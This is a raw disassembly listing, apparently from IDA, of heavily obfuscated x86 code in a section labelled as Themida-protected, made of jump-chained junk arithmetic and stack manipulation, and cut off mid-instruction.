Themida_:005666A1j pop esp add edx, 2 push 26B6h mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_5648E1 ; --------------------------------------------------------------------------- loc_56C5A6: ; CODE XREF: Themida_:005625F2j xor ebp, 6C373A09h push ebp not dword ptr [esp] pop ebp sub ebp, 0BB857DAh jmp loc_563DD1 ; --------------------------------------------------------------------------- loc_56C5BC: ; CODE XREF: Themida_:0056BF30j sub esp, 4 mov [esp], ebx mov bh, 94h push small 1657h mov [esp], cx mov cl, 0FFh sub bh, 42h push edx mov dl, 4 jmp loc_566ACD ; --------------------------------------------------------------------------- loc_56C5DC: ; CODE XREF: Themida_:0056233Dj xchg edx, [esp] jmp loc_56ED09 ; --------------------------------------------------------------------------- loc_56C5E4: ; CODE XREF: Themida_:0056CA02j mov esi, 2CEB3F64h not esi or esi, 2077321Ch sub esi, 8B58F00Ah jmp loc_55F937 ; --------------------------------------------------------------------------- loc_56C5FC: ; CODE XREF: Themida_:005655BDj add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56102B ; --------------------------------------------------------------------------- loc_56C608: ; CODE XREF: Themida_:0056F767j push edi jmp loc_560C6C ; --------------------------------------------------------------------------- loc_56C60E: ; CODE XREF: Themida_:00569432j pop esi and eax, ebx push dword ptr [esp] pop ebx push 145Eh jmp loc_570371 ; --------------------------------------------------------------------------- loc_56C61F: ; CODE XREF: Themida_:0055D9CAj pop eax add esp, 4 jmp loc_562A84 ; --------------------------------------------------------------------------- loc_56C62B: ; CODE XREF: Themida_:0055F9ADj pop esp jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56C631: ; CODE XREF: Themida_:0056D7FEj pop esp jmp loc_571283 ; --------------------------------------------------------------------------- loc_56C637: ; CODE XREF: Themida_:005601F0j ; Themida_:00568518j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_56ECBB ; --------------------------------------------------------------------------- loc_56C64A: ; CODE XREF: Themida_:00561A85j add esp, 4 add esp, 4 push 3E0Fh jmp loc_5611E0 ; --------------------------------------------------------------------------- loc_56C65A: ; CODE XREF: Themida_:0056226Ej pop esi jmp loc_566864 ; --------------------------------------------------------------------------- loc_56C660: ; CODE XREF: Themida_:00571957j push ebx push eax jmp loc_566E91 ; --------------------------------------------------------------------------- loc_56C667: ; CODE XREF: Themida_:00560636j pop esp mov [esp], edi push edx mov edx, eax jmp loc_564FD7 ; --------------------------------------------------------------------------- loc_56C673: ; CODE XREF: Themida_:005677FDj sub [esp], eax push ebp mov ebp, 43135E74h sub [esp+4], ebp pop ebp add dword ptr [esp], 12246E1Bh jmp loc_56219B ; --------------------------------------------------------------------------- loc_56C68D: ; CODE XREF: Themida_:0056803Fj mov eax, [esp] add esp, 4 push esi mov esi, 38382FE4h or esi, 39827E56h inc esi and esi, 73DC6C41h neg esi jmp loc_571F87 ; --------------------------------------------------------------------------- loc_56C6B0: ; CODE XREF: Themida_:0056048Cj pop ebp push esi mov esi, 6CF21E24h xor ebp, esi mov esi, [esp] jmp loc_5703D2 ; --------------------------------------------------------------------------- loc_56C6C1: ; CODE XREF: Themida_:005696BFj shr eax, 7 jmp loc_55D3F3 ; --------------------------------------------------------------------------- loc_56C6C9: ; CODE XREF: Themida_:0055DA9Fj sub esp, 4 jmp loc_5726AC ; --------------------------------------------------------------------------- loc_56C6D4: ; CODE XREF: Themida_:00568C77j mov esi, 0DFB58B6h jmp loc_5666B3 ; --------------------------------------------------------------------------- loc_56C6DE: ; CODE XREF: Themida_:0056D18Aj xchg esi, [esp] pop esp jmp loc_56D30E ; --------------------------------------------------------------------------- loc_56C6E7: ; CODE XREF: Themida_:00564FE1j mov edi, esp add edi, 4 add edi, 4 jmp loc_57103B ; --------------------------------------------------------------------------- loc_56C6FA: ; CODE XREF: Themida_:0055EA74j xor [eax], ecx pop eax jmp loc_571886 ; --------------------------------------------------------------------------- loc_56C702: ; CODE XREF: Themida_:0056FD37j xor [eax], ecx pop eax mov edx, [esp] add esp, 4 xor ecx, [edi+24h] push edx jmp loc_566239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_56C717: ; CODE XREF: sub_59DB3D-3C75Aj mov dh, 89h dec dh add dh, 0Ah sub ah, dh pop edx mov ch, ah jmp loc_5604E1 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_56C728: ; CODE XREF: Themida_:00567194j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56C72D: ; CODE XREF: Themida_:0056F414j push esi mov esi, 4 add [esp+4], esi pop esi push dword ptr [esp] jmp loc_570427 ; --------------------------------------------------------------------------- loc_56C740: ; CODE XREF: Themida_:00571EE1j pop edx jmp loc_5710B2 ; --------------------------------------------------------------------------- loc_56C746: ; CODE XREF: Themida_:00564266j mov edx, ebx pop ebx sub ebp, 11414E52h add ebp, edx add ebp, 11414E52h pop edx pop edi sub ebp, 4 jmp loc_56A25E ; --------------------------------------------------------------------------- loc_56C761: ; CODE XREF: Themida_:0056DEE3j shl ch, 3 add ch, 0D9h jmp loc_55EDBF ; --------------------------------------------------------------------------- loc_56C76C: ; CODE XREF: Themida_:005674B8j not esi jmp loc_5706DA ; --------------------------------------------------------------------------- loc_56C773: ; CODE XREF: Themida_:0055EA46j add esp, 4 pop ecx jmp loc_56FE61 ; --------------------------------------------------------------------------- loc_56C77F: ; CODE XREF: Themida_:00566456j add esi, eax mov eax, [esp] jmp loc_568494 ; --------------------------------------------------------------------------- loc_56C789: ; CODE XREF: Themida_:0056564Bj pop ebx mov ebp, [esp] jmp loc_570ACF ; --------------------------------------------------------------------------- loc_56C792: ; CODE XREF: Themida_:0056BF28j pop edi xchg eax, [esp] pop esp push edx mov edx, 657E7480h jmp loc_5646A9 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56C7AA: ; CODE XREF: Themida_:0056371Ej shr eax, 6 add eax, 74A73B90h not eax add eax, 15C4ECBAh sub ebp, eax pop eax push 4CBFh mov [esp], ebx jmp loc_570C11 ; --------------------------------------------------------------------------- loc_56C7C9: ; CODE XREF: Themida_:0056D4E3j mov ebp, edx pop edx jmp loc_570D2C ; --------------------------------------------------------------------------- loc_56C7D1: ; CODE XREF: Themida_:0055ED69j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_56E775 ; --------------------------------------------------------------------------- loc_56C7E5: ; CODE XREF: Themida_:005727E8j pop esp mov edx, [esp] add esp, 4 push 562Ah jmp loc_567999 ; --------------------------------------------------------------------------- loc_56C7F9: ; CODE XREF: Themida_:0056DE74j push ebp push ebx jmp loc_55EDC6 ; --------------------------------------------------------------------------- loc_56C800: ; CODE XREF: Themida_:005641E7j push eax push 4 push dword ptr [esp] pop eax jmp loc_572AF5 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_56AB0D ; --------------------------------------------------------------------------- loc_56C818: ; CODE XREF: Themida_:0055FF8Ej push ecx mov ecx, 2E513681h neg ecx xor ecx, 0D9AEC879h add edi, ecx jmp loc_56EF0E ; --------------------------------------------------------------------------- loc_56C82D: ; CODE XREF: Themida_:00560393j sub edi, 270A5B00h add edi, ecx jmp loc_56DC94 ; --------------------------------------------------------------------------- loc_56C83A: ; CODE XREF: Themida_:00570B80j not ebx sub ebx, 0C515DCBBh jmp loc_570928 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_56C847: ; CODE XREF: sub_562A0A+B4F5j push edx mov dl, 2Ch add dl, 83h inc dl push ecx mov cl, 4 jmp loc_56D396 ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_56C857: ; CODE XREF: Themida_:0056C4CFj and edi, 384301D7h not edi inc edi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_571970 ; --------------------------------------------------------------------------- loc_56C874: ; CODE XREF: Themida_:0056A335j add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_563949 ; --------------------------------------------------------------------------- loc_56C88A: ; CODE XREF: Themida_:0056B9B1j mov [esp], eax push ebx jmp loc_5618B6 ; --------------------------------------------------------------------------- loc_56C893: ; CODE XREF: Themida_:0055F995j push eax push 7AB32087h jmp loc_56CB9F ; --------------------------------------------------------------------------- loc_56C89E: ; CODE XREF: Themida_:0055D8EFj push 6A35h jmp loc_56A406 ; --------------------------------------------------------------------------- loc_56C8A8: ; CODE XREF: Themida_:0056D777j sub edi, 0B6758ACAh add ecx, edi pop edi mov edi, ecx jmp loc_570532 ; --------------------------------------------------------------------------- loc_56C8B8: ; CODE XREF: Themida_:0055D5EAj mov [esp], ebx push ecx push 623E0EECh jmp loc_572869 ; --------------------------------------------------------------------------- loc_56C8C6: ; CODE XREF: Themida_:00564456j mov ecx, [esp] add esp, 4 mov edi, [esp] jmp loc_56553B ; --------------------------------------------------------------------------- loc_56C8D7: ; CODE XREF: Themida_:00569321j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_56034C ; --------------------------------------------------------------------------- loc_56C8EB: ; CODE XREF: Themida_:0055E8E1j and dl, 0B1h or dl, 57h add dl, 0E1h jmp loc_56E70C ; --------------------------------------------------------------------------- loc_56C8F9: ; CODE XREF: Themida_:0055F879j sub edi, ebx pop ebx add edx, edi pop edi sub esp, 4 jmp loc_570864 ; --------------------------------------------------------------------------- loc_56C90A: ; CODE XREF: Themida_:00564A4Dj add esp, 4 add ebp, 1 xor ebp, 71F43B5Fh shr ebp, 1 jmp loc_55D427 ; --------------------------------------------------------------------------- loc_56C920: ; CODE XREF: Themida_:0055DB5Ej add ecx, 3D793C65h xor edx, ecx pop ecx add ebp, edx jmp loc_563AC2 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_561A82 ; --------------------------------------------------------------------------- loc_56C93E: ; CODE XREF: Themida_:0057263Aj add ebp, 764901B3h neg ebp sub ebp, 27D571D0h push ebx jmp loc_571EE6 ; --------------------------------------------------------------------------- loc_56C952: ; CODE XREF: Themida_:005664B5j add edi, eax add edi, 66CA74BEh push eax mov eax, 50E24172h shr eax, 3 push edi mov edi, 15996A23h shr edi, 8 not edi neg edi sub edi, 0FFFFFFFFh jmp loc_563325 ; --------------------------------------------------------------------------- loc_56C97B: ; CODE XREF: Themida_:0055E578j inc esi sub esi, 0A68B5734h sub edx, esi pop esi push edi mov edi, 0A8D13CFDh jmp loc_5623BB ; --------------------------------------------------------------------------- loc_56C990: ; CODE XREF: Themida_:0056B7B5j mov ebp, 136F0814h jmp loc_5708A2 ; --------------------------------------------------------------------------- loc_56C99A: ; CODE XREF: Themida_:00570768j add edi, ebp mov ebp, [esp] add esp, 4 jmp loc_56D9E0 ; --------------------------------------------------------------------------- loc_56C9AA: ; CODE XREF: Themida_:0055DA70j dec edi xor edi, 0AB605A9h or edi, 54180FE3h dec edi shl edi, 3 add edi, 90E8014h add esi, edi pop edi xchg esi, [esp] mov esp, [esp] jmp loc_56A06E ; --------------------------------------------------------------------------- loc_56C9CF: ; CODE XREF: Themida_:00566F33j push dword ptr [esp] pop edx add esp, 4 add edx, 4 push 6373h jmp loc_56E4AF ; --------------------------------------------------------------------------- loc_56C9E9: ; CODE XREF: Themida_:00563CBCj push eax push ebp jmp loc_5667A7 ; --------------------------------------------------------------------------- loc_56C9F0: ; CODE XREF: Themida_:00568CEFj add eax, 45AA600Eh add eax, ecx sub eax, 45AA600Eh add eax, 9EB367Bh push esi jmp loc_56C5E4 ; --------------------------------------------------------------------------- loc_56CA07: ; CODE XREF: Themida_:0056F730j xor esi, ebx pop ebx jmp loc_564D65 ; --------------------------------------------------------------------------- loc_56CA0F: ; CODE XREF: Themida_:00560854j mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx pop edx xchg edi, [esp] pop esp jmp loc_5602E1 ; --------------------------------------------------------------------------- loc_56CA29: ; CODE XREF: Themida_:00562F29j xor edx, 384879F8h push 471Fh mov [esp], esi jmp loc_563E62 ; --------------------------------------------------------------------------- loc_56CA3C: ; CODE XREF: Themida_:0055E5E0j not byte ptr [esp] mov dx, [esp] add esp, 2 push ecx mov ch, 0E7h add dl, 38h sub dl, ch sub dl, 38h jmp loc_55F072 ; --------------------------------------------------------------------------- loc_56CA56: ; CODE XREF: Themida_:005667A2j pop edi xor eax, esi push dword ptr [esp] pop esi add esp, 4 add esi, 14293FDCh add esi, eax push 299Ah jmp loc_5726F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_56CA75: ; CODE XREF: sub_59DB3D-3378Bj or ch, bl jmp loc_56A7B7 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_56CA7C: ; CODE XREF: Themida_:0056F405j pop eax jmp loc_565476 ; --------------------------------------------------------------------------- loc_56CA82: ; CODE XREF: Themida_:005677E5j mov eax, [esp] jmp loc_5726EC ; --------------------------------------------------------------------------- loc_56CA8A: ; CODE XREF: Themida_:0055DBEAj push ebp not dword ptr [esp] pop ebp push edx mov edx, 2ED72FF3h xor ebp, edx pop edx push ebx mov ebx, 317439DBh xor ebp, ebx mov ebx, [esp] add esp, 4 xor ebp, 0B8B6A11Ch add eax, ebp pop ebp push ecx jmp loc_560CE7 ; --------------------------------------------------------------------------- loc_56CAB5: ; CODE XREF: Themida_:0056857Fj pop eax push esi mov esi, 3B6A10E7h jmp loc_570233 ; --------------------------------------------------------------------------- loc_56CAC1: ; CODE XREF: Themida_:0055F431j mov dl, ah mov eax, [esp] add esp, 4 mov ebx, [esp] add esp, 4 push edx push dx jmp loc_565503 ; --------------------------------------------------------------------------- loc_56CADA: ; CODE XREF: Themida_:0056AC15j push 748h jmp loc_569133 ; --------------------------------------------------------------------------- loc_56CAE4: ; CODE XREF: Themida_:005714A2j inc ebx not ebx shl ebx, 1 shr ebx, 1 push edx mov edx, 29E08DDFh xor ebx, edx pop edx mov ebp, ebx pop ebx add ebp, 767E3169h xor ebp, 1E562758h add ebp, 3D33AC73h add eax, ebp pop ebp add eax, 4 jmp loc_56963D ; --------------------------------------------------------------------------- loc_56CB16: ; CODE XREF: Themida_:00569812j pop ebx sub ebx, 7823251h mov edi, ebx pop ebx mov eax, edi pop edi add ecx, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_566F38 ; --------------------------------------------------------------------------- loc_56CB31: ; CODE XREF: Themida_:0056FA6Bj add [esp], ax pushf jmp loc_570636 ; --------------------------------------------------------------------------- loc_56CB3B: ; CODE XREF: Themida_:00571C95j push 7519h mov [esp], edx mov edx, 4 add ecx, edx pop edx push edi mov edi, 4 jmp loc_5642E3 ; --------------------------------------------------------------------------- loc_56CB56: ; CODE XREF: Themida_:00568D07j and dh, bh pop bx and dh, 9Eh add dh, 8Fh add cl, dh pop edx push eax jmp loc_56CBE6 ; --------------------------------------------------------------------------- loc_56CB69: ; CODE XREF: Themida_:00560979j push edx mov edx, 0B090C51h add edx, 0F4F6F3B3h push edx mov edx, 59FF0C22h jmp loc_56401B ; --------------------------------------------------------------------------- loc_56CB80: ; CODE XREF: Themida_:00561AB5j xchg edi, esi push 4DBFh mov [esp], ecx jmp loc_565E19 ; --------------------------------------------------------------------------- loc_56CB8F: ; CODE XREF: Themida_:0056A934j pop edi xor edi, 48BF2496h pop ebp mov esi, [esp] jmp loc_56F1F8 ; --------------------------------------------------------------------------- loc_56CB9F: ; CODE XREF: Themida_:0056C899j pop eax xor eax, 365F1C71h mov ebx, eax pop eax jmp loc_5682CA ; --------------------------------------------------------------------------- loc_56CBAD: ; CODE XREF: Themida_:0056444Fj push eax jmp loc_56AFB8 ; --------------------------------------------------------------------------- mov ax, [esp] push 18F2h mov [esp], ebp push esp pop ebp push esi mov esi, 474A5995h shl esi, 6 push ebp jmp loc_568D42 ; --------------------------------------------------------------------------- loc_56CBD0: ; CODE XREF: Themida_:0056433Dj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push ebx jmp loc_566B1C ; --------------------------------------------------------------------------- loc_56CBE6: ; CODE XREF: Themida_:0056CB64j mov ah, cl jmp loc_56FD54 ; --------------------------------------------------------------------------- loc_56CBED: ; CODE XREF: Themida_:0055ECB5j xor [esp], edi xor edi, [esp] xor [esp], edi not edi push edi jmp loc_563004 ; --------------------------------------------------------------------------- mov ebp, 4 add [esp+4], ebp pop ebp pop esi push eax mov eax, 4BE457BBh shl eax, 1 jmp loc_56DB4D ; --------------------------------------------------------------------------- loc_56CC16: ; CODE XREF: Themida_:00564283j xor ebx, [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 mov [esp], ecx push 3B73h mov [esp], esp jmp loc_572992 ; --------------------------------------------------------------------------- loc_56CC36: ; CODE XREF: Themida_:0056C0D9j pop ecx xchg ebx, [esp] pop esp mov [esp], esi mov esi, 4F1F2B01h add eax, esi pop esi mov ebp, [esp] jmp loc_562D97 ; --------------------------------------------------------------------------- loc_56CC4E: ; CODE XREF: Themida_:0057134Fj add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_567751 ; --------------------------------------------------------------------------- loc_56CC5F: ; CODE XREF: Themida_:00564DF3j add eax, ebp mov ebp, [esp] push eax mov eax, esp sub esp, 4 mov [esp], edx mov edx, 61366720h shr edx, 7 shr edx, 6 dec edx xor edx, 309B6h add eax, edx push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add eax, 4 xchg eax, [esp] pop esp pop ebp jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56CCA3: ; CODE XREF: Themida_:0056A534j shr ebp, 2 and ebp, 371E565Ch xor ebp, 626E4CC4h push edx mov edx, 1DF50378h jmp loc_566735 ; --------------------------------------------------------------------------- loc_56CCBD: ; CODE XREF: Themida_:00564CCAj mov ebx, 4 push eax jmp loc_56E698 ; --------------------------------------------------------------------------- loc_56CCC8: ; CODE XREF: Themida_:00567228j sub eax, 35171464h sub eax, 3F36604Eh jmp loc_56F7EC ; --------------------------------------------------------------------------- loc_56CCD7: ; CODE XREF: Themida_:0056343Dj sub dword ptr [esp], 7C484F6Eh pop esi add esi, 7C484F6Eh pop ebx and esi, 3C0073BFh xor esi, 29D96577h and esi, 3F762634h sub esi, 1 shl esi, 4 push ebp jmp loc_567B1B ; --------------------------------------------------------------------------- loc_56CD04: ; CODE XREF: Themida_:0056EE53j pop edi add esi, 20014F1h sub esi, 22FF4576h add ecx, esi pop esi jmp loc_569F43 ; --------------------------------------------------------------------------- loc_56CD19: ; CODE XREF: Themida_:005680DDj add edi, 2D3672DCh jmp loc_568F28 ; --------------------------------------------------------------------------- loc_56CD24: ; CODE XREF: Themida_:0055D8C5j add ebp, esi pop esi add ebp, 4 push 3DD6h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_55E565 ; --------------------------------------------------------------------------- loc_56CD42: ; CODE XREF: Themida_:00563A83j add al, 0A6h jmp loc_56EB08 ; --------------------------------------------------------------------------- loc_56CD49: ; CODE XREF: Themida_:00569A7Bj pop edi add [esp+4], ecx sub dword ptr [esp+4], 6A9F12CAh pop ecx pop ecx push ebx push eax mov eax, 4F5B2B4Dh shr eax, 2 sub eax, 796012EDh sub eax, 39B97E6Dh xor eax, 60BD397Dh mov ebx, eax jmp loc_5711F9 ; --------------------------------------------------------------------------- loc_56CD78: ; CODE XREF: Themida_:0056F3D1j sub esp, 4 mov [esp], eax push 660B7622h jmp loc_5636EB ; --------------------------------------------------------------------------- loc_56CD8B: ; CODE XREF: Themida_:0056F8FDj not ebx xchg ebx, edx xchg edx, edi shl edi, 4 sub edi, 8049260Eh push edi mov edi, esp jmp loc_56458C ; --------------------------------------------------------------------------- loc_56CDA2: ; CODE XREF: Themida_:0055D5BDj add ebx, edx jmp loc_5637FA ; --------------------------------------------------------------------------- loc_56CDA9: ; CODE XREF: Themida_:00565705j mov ebp, [esp] add esp, 4 push 28Dh mov [esp], edi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 push edx push ebx mov ebx, 3E944BF7h mov edx, 3E944BFBh sub edx, 2A677504h sub edx, ebx add edx, 2A677504h pop ebx add edi, edx mov edx, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_55DDC5 ; --------------------------------------------------------------------------- loc_56CE0E: ; CODE XREF: Themida_:0057276Ej add eax, esi jmp loc_56F874 ; --------------------------------------------------------------------------- loc_56CE15: ; CODE XREF: Themida_:00572B2Aj sub ah, 8Eh dec ah jmp loc_565C90 ; --------------------------------------------------------------------------- loc_56CE1F: ; CODE XREF: Themida_:0056CFFAj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp xor [esp], eax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56CE31: ; CODE XREF: Themida_:00571A5Ej pop esi jmp loc_56F42B ; --------------------------------------------------------------------------- loc_56CE37: ; CODE XREF: Themida_:0056E1C4j pop esp push 3DAEh mov [esp], ebx push eax push edx jmp loc_571BCB ; --------------------------------------------------------------------------- loc_56CE47: ; CODE XREF: Themida_:0055F603j push edi mov edi, 1B071B08h mov ecx, edi jmp loc_5698BE ; --------------------------------------------------------------------------- loc_56CE54: ; CODE XREF: Themida_:0056D494j sub al, cl pop cx pop edx jmp loc_55E95E ; --------------------------------------------------------------------------- loc_56CE5E: ; CODE XREF: Themida_:0055F9EDj push ecx mov ecx, 5ACF6D63h sub ebx, ecx pop ecx sub ecx, 795F30FAh sub ecx, ebx add ecx, 795F30FAh jmp loc_569281 ; --------------------------------------------------------------------------- loc_56CE7A: ; CODE XREF: Themida_:0055D9B5j mov edx, [esp] jmp loc_567631 ; --------------------------------------------------------------------------- loc_56CE82: ; CODE XREF: Themida_:0056D28Ej mov esi, 2 push edx mov edx, 615D7DBDh or edx, 65946666h or edx, 1C850588h shl edx, 5 sub edx, 75B5892Eh add eax, edx pop edx sub eax, 658D498Eh add eax, esi jmp loc_564C16 ; --------------------------------------------------------------------------- loc_56CEB1: ; CODE XREF: Themida_:00568113j add esp, [edx+38h] push ebx push 7CCh jmp loc_56F5F1 ; --------------------------------------------------------------------------- loc_56CEBF: ; CODE XREF: Themida_:005609CDj mov edi, esp jmp loc_55D54A ; --------------------------------------------------------------------------- loc_56CEC6: ; CODE XREF: Themida_:00562A6Bj pop eax push eax mov eax, 0B002021h shr eax, 2 dec eax add eax, 7A399A94h xor esi, eax pop eax push esi pop ebx mov esi, [esp] add esp, 4 push ecx mov ecx, 3BFE09F2h shr ecx, 7 sub ecx, 2CE708F7h jmp loc_564E83 ; --------------------------------------------------------------------------- loc_56CEF8: ; CODE XREF: Themida_:0056FD47j push edi mov edi, 1C733C96h and ebp, edi pop edi not ebp sub ebp, 0DCB57D5Eh mov ecx, ebp pop ebp jmp loc_56E2EA ; --------------------------------------------------------------------------- loc_56CF11: ; CODE XREF: Themida_:005643AAj xchg di, cx neg di xchg di, cx or cx, 2ABBh add cx, 6E03h sub dx, cx pop cx add ax, dx pop edx xor bx, ax movzx eax, ax push edi jmp loc_56B33C ; --------------------------------------------------------------------------- loc_56CF39: ; CODE XREF: Themida_:00563E96j shl esi, 5 push edi jmp loc_563E9B ; --------------------------------------------------------------------------- loc_56CF42: ; CODE XREF: Themida_:0056EA3Ej mov ebp, 1A860A43h xor ebp, 91968212h jmp loc_5689D4 ; --------------------------------------------------------------------------- loc_56CF52: ; CODE XREF: Themida_:00565A94j pop ebp dec edx push esi jmp loc_571FE6 ; --------------------------------------------------------------------------- loc_56CF5A: ; CODE XREF: Themida_:00568573j sub edi, 558D366Eh add edi, 74EE4520h add edi, ecx sub edi, 74EE4520h add edi, 558D366Eh push ebp jmp loc_56DD84 ; --------------------------------------------------------------------------- loc_56CF7A: ; CODE XREF: Themida_:0057036Cj mov ebx, [esp] add esp, 4 mov eax, edi mov edi, [esp] add esp, 4 jmp loc_572A24 ; --------------------------------------------------------------------------- loc_56CF90: ; CODE XREF: Themida_:00566AFDj pop edi push ecx mov ecx, esp add ecx, 4 jmp loc_56BA8B ; --------------------------------------------------------------------------- loc_56CF9F: ; CODE XREF: Themida_:0056984Ej pop edx jmp loc_5629D7 ; --------------------------------------------------------------------------- loc_56CFA5: ; CODE XREF: Themida_:0056DA72j add esp, 4 add edx, 4 xchg edx, [esp] pop esp sub al, 4Ch add al, bl add al, 4Ch sub al, 8 sub esp, 4 mov [esp], edx push eax mov ah, 3Ah xor ah, 0B8h add ah, 0CFh jmp loc_56ADBE ; --------------------------------------------------------------------------- loc_56CFCE: ; CODE XREF: Themida_:0056B65Cj mov dh, al jmp loc_567D79 ; --------------------------------------------------------------------------- loc_56CFD5: ; CODE XREF: Themida_:00566DA0j shl edx, 4 push edi mov edi, 277F5B11h shr edi, 4 add edi, 46E70BD8h jmp loc_568E40 ; --------------------------------------------------------------------------- loc_56CFEC: ; CODE XREF: Themida_:00566487j sub eax, 12485B84h mov ebp, [esp] add esp, 4 jmp loc_56CE1F ; --------------------------------------------------------------------------- loc_56CFFF: ; CODE XREF: Themida_:00562819j dec edx push esi mov esi, 684B563Bh xor esi, 805BCEF3h xor edx, esi pop esi push edx pop edi pop edx sub eax, 660167Fh add eax, edi jmp loc_55E45B ; --------------------------------------------------------------------------- loc_56D01E: ; CODE XREF: Themida_:00563630j xor ebx, [esp] mov esp, [esp] push eax push esp push dword ptr [esp] pop eax add esp, 4 jmp loc_571B08 ; --------------------------------------------------------------------------- loc_56D032: ; CODE XREF: Themida_:005713E1j mov ah, 34h neg ah shl ah, 5 neg ah add ah, 87h and dl, ah pop eax jmp loc_563829 ; --------------------------------------------------------------------------- locret_56D046: ; CODE XREF: Themida_:0056C142j retn ; --------------------------------------------------------------------------- jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56D04C: ; CODE XREF: Themida_:00564428j add eax, 7B1F1858h jmp loc_5679E9 ; --------------------------------------------------------------------------- loc_56D056: ; CODE XREF: Themida_:0056EFD7j add esp, 4 add esp, 4 add esp, 4 or eax, eax jz loc_56B8CD push dword ptr [edi+28h] push eax push edi jmp loc_571F08 ; --------------------------------------------------------------------------- loc_56D077: ; CODE XREF: Themida_:005615F5j push esp pop ebx push edi mov edi, 4 add ebx, edi pop edi add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp shr eax, 0Ah xor eax, ecx push 65EAh mov [esp], eax jmp loc_56A844 ; --------------------------------------------------------------------------- loc_56D0A4: ; CODE XREF: Themida_:0056A2A7j push 1EFBh mov [esp], eax push ebx jmp loc_570FED ; --------------------------------------------------------------------------- loc_56D0B2: ; CODE XREF: Themida_:005655CFj sub al, 5Dh add al, bl add al, 5Dh sub al, 7Ch mov ebx, [esp] add esp, 4 push ecx mov ch, 7Ch jmp loc_5610DF ; --------------------------------------------------------------------------- loc_56D0C8: ; CODE XREF: Themida_:00571A4Aj mov [esp], ebx mov edx, [esp] add esp, 4 push dword ptr [esp] jmp loc_5692FF ; --------------------------------------------------------------------------- loc_56D0DC: ; CODE XREF: Themida_:0056DD5Aj mov edi, [esp] push 397h mov [esp], edi push esp pop edi push ecx mov ecx, 4 add edi, ecx jmp loc_5644CD ; --------------------------------------------------------------------------- loc_56D0F6: ; CODE XREF: Themida_:005722B1j push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_565B1B ; --------------------------------------------------------------------------- loc_56D103: ; CODE XREF: Themida_:0055E24Aj pop ecx push eax mov eax, 4 add ebp, eax jmp loc_5629C1 ; --------------------------------------------------------------------------- loc_56D111: ; CODE XREF: Themida_:0056C291j push edx mov edx, esp jmp loc_5714AC ; --------------------------------------------------------------------------- loc_56D119: ; CODE XREF: Themida_:0056E0FEj xchg eax, [esp] jmp loc_5657F8 ; --------------------------------------------------------------------------- loc_56D121: ; CODE XREF: Themida_:0055F609j pop eax jmp loc_56E4C5 ; --------------------------------------------------------------------------- loc_56D127: ; CODE XREF: Themida_:0056F6AAj pop ecx shl edx, 2 xor edx, 0AF10AE2h jmp loc_56FF3B ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_55EC15 ; --------------------------------------------------------------------------- loc_56D13D: ; CODE XREF: Themida_:0055E860j shl ebp, 8 xor ebp, 7888C504h add esi, ebp jmp loc_56E679 ; --------------------------------------------------------------------------- loc_56D14D: ; CODE XREF: Themida_:00567595j pop ecx add ebx, eax mov eax, [esp] add esp, 4 xchg ebx, [esp] pop esp push ecx push 7113h push esp pop dword ptr [esp] push 6B7Eh mov [esp], ecx mov ecx, 4 push edi jmp loc_569A72 ; --------------------------------------------------------------------------- loc_56D177: ; CODE XREF: Themida_:00568073j push esp pop esi add esi, 4 jmp loc_56F120 ; --------------------------------------------------------------------------- loc_56D184: ; CODE XREF: Themida_:00563526j add esi, 4 jmp loc_56C6DE ; --------------------------------------------------------------------------- loc_56D18F: ; CODE XREF: Themida_:00567F2Ej pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push ecx jmp loc_56FF5F ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx jmp loc_5673C3 ; --------------------------------------------------------------------------- loc_56D1AE: ; CODE XREF: Themida_:00562EEBj push eax mov eax, 7E940C4Dh sub ebp, eax pop eax sub ebp, edi jmp loc_568193 ; --------------------------------------------------------------------------- loc_56D1BE: ; CODE XREF: Themida_:00563C75j xor ebp, 235F4E6Ch and ecx, ebp jmp loc_5650D2 ; --------------------------------------------------------------------------- loc_56D1CB: ; CODE XREF: Themida_:0056D66Aj mov edi, [esp] add esp, 4 jmp loc_56C499 ; --------------------------------------------------------------------------- loc_56D1D9: ; CODE XREF: Themida_:0055D86Aj pop esp xor eax, ebp jmp 